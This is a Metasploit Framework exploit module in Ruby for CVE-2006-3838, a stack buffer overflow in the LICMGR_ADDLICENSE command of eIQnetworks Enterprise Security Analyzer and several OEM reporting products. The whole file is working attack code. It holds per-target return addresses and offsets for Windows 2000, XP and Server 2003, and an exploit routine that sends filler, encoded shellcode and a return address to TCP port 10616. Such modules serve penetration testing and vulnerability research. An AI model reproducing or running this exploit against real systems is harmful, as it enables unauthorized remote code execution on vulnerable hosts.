##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in eIQnetworks
        Enterprise Security Analyzer. During the processing of
        long arguments to the LICMGR_ADDLICENSE command, a stack-based
        buffer overflow occurs. This module has only been tested
        against ESA v2.1.13.
      },
      'Author'         => [ 'MC', 'ri0t <ri0t[at]ri0tnet.net>',  'kf' ],
      'Version'        => '$Revision$',
      'References'     => 
        [
          ['CVE', '2006-3838'],
          ['OSVDB', '27526'],
          ['BID', '19163'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-024.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
              'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          ['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ],  
        
          ['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English',    { 'Ret' =>  0x750316e2, 'Offset' => 494 } ],   # call ebx
          ['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2',      { 'Ret' =>  0x77db64dc, 'Offset' => 494 } ],  # jmp ebx
          ['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1',     { 'Ret' =>  0x77d16764, 'Offset' => 494 } ],   # jmp EBX
          ['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English',        { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2',          { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',       { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2',         { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',{ 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',    { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2',          { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2',   { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English',   { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2',     { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English',          { 'Ret' =>  0x750316e2, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2',            { 'Ret' =>  0x77db64dc, 'Offset' => 1262 } ],
          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',   { 'Ret' =>  0x77d16764, 'Offset' => 1262 } ],          
        ],

      'Privileged'     => false,

      'DisclosureDate' => 'July 24 2006'

      ))

      register_options(
      [
        Opt::RPORT(10616)
      ], self.class)
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    filler =  rand_text_english(1) * (target['Offset'] - payload.encoded.length)
    sploit =  "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') +  "&";

    sock.put(sploit)

    handler
    disconnect  
  end

end